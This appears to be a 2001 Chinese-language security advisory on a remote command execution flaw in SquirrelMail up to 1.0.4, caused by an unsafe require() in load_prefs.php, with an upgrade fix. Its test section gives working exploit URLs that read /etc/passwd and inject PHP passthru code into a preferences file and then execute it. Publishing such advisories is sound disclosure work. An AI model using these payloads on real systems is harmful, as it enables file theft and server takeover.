xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

SquirrelMail存在远程命令可执行漏洞


发布时间:2001-07-09
更新时间:2001-07-09
严重程度:
威胁程度:普通用户访问权限
错误类型:输入验证错误
利用方式:服务器模式

受影响系统
All SquirrelMail versions up to 1.0.4 (including)
详细描述
SquirrelMail(http://www.squirrelmail.org/)是一个基于WEB的MAIL程序,
由PHP4写,其中存在漏洞可以导致攻击者执行任意命令。
由于SquirrleMail不安全的调用PHP函数Include(),问题存在于load_prefs.php中:

39 require("$chosen_theme");

require()函数使用变量$chosen_theme来读指定的文件来解析,攻击者可以影响
$chosen_theme,让它指向一些敏感文件如/etc/passwd或者让PHP解析来执行
任意代码。

测试代码
攻击者可以如下查看文件信息:
http://<host>/squirrelmail-1.0.4/src/load_prefs.php?username=evilattacker&config_php=true&theme[0][PATH]=/etc/passwd&data_dir=/var/squirrelmail/data/
你可以通过如下:
http://host/squirrelmail-1.0.4/src/options_order.php?username=evilattacker&method=add&add=<?php%20passthru("/bin/ls%20/etc");%20?>
写入数据,然后执行代码:

http://server/squirrelmail-1.0.4/src/load_prefs.php?username=heyheyhey&config_php=true&theme[0][PATH]=/var/squirrelmail/data/evilattacker.pref&data_dir=/var/squirrelmail/data

解决方案
更新程序到1.0.5 版本以上:
http://www.squirrelmail.org

相关信息
shaman at optushome.com.au